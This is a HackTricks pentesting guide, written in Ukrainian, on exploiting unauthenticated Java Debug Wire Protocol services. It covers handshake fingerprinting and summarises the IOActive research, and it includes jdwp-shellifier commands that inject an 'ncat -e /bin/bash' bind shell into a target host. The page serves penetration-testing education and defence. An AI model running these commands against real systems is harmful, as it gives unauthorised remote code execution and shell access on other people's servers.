hacktricks/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

67 lines
6.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Pentesting JDWP - Java Debug Wire Protocol
{{#include ../banners/hacktricks-training.md}}
## Exploiting
Експлуатація JDWP базується на **відсутності аутентифікації та шифрування** протоколу. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитків для ідентифікації служб JDWP в мережі.
Щодо ідентифікації процесів, пошук рядка "jdwk" у процесах Java може вказувати на активну сесію JDWP.
Основний інструмент - [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Ви можете використовувати його з різними параметрами:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Я виявив, що використання `--break-on 'java.lang.String.indexOf'` робить експлойт більш **стабільним**. І якщо у вас є можливість завантажити бекдор на хост і виконати його замість виконання команди, експлойт буде ще більш стабільним.
## Більше деталей
**Це резюме з [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Перевірте його для отримання додаткових деталей.
1. **Огляд JDWP**:
- Це пакетний мережевий бінарний протокол, переважно синхронний.
- Не має аутентифікації та шифрування, що робить його вразливим при відкритті до ворожих мереж.
2. **Рукостискання JDWP**:
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьний ASCII рядок “JDWP-Handshake” між Дебагером (клієнтом) і Дебагованим (сервером).
3. **Комунікація JDWP**:
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор і Набір команд.
- Значення Набору команд варіюються від 0x40 до 0x80, представляючи різні дії та події.
4. **Експлуатація**:
- JDWP дозволяє завантажувати та викликати довільні класи та байт-код, що створює ризики безпеки.
- У статті детально описується процес експлуатації в п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
5. **Експлуатація в реальному житті**:
- Незважаючи на потенційні захисти брандмауера, служби JDWP можна виявити та експлуатувати в реальних сценаріях, як показано в пошуках на платформах, таких як ShodanHQ та GitHub.
- Скрипт експлойту був протестований на різних версіях JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE).
6. **Безпекові наслідки**:
- Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належних конфігурацій брандмауера.
### **Посилання:**
- [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
- [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
- [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
- http://www.secdev.org/projects/scapy(більше не активний)
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
- http://www.hsc-news.com/archives/2013/000109.html (більше не активний)
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
- [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
{{#include ../banners/hacktricks-training.md}}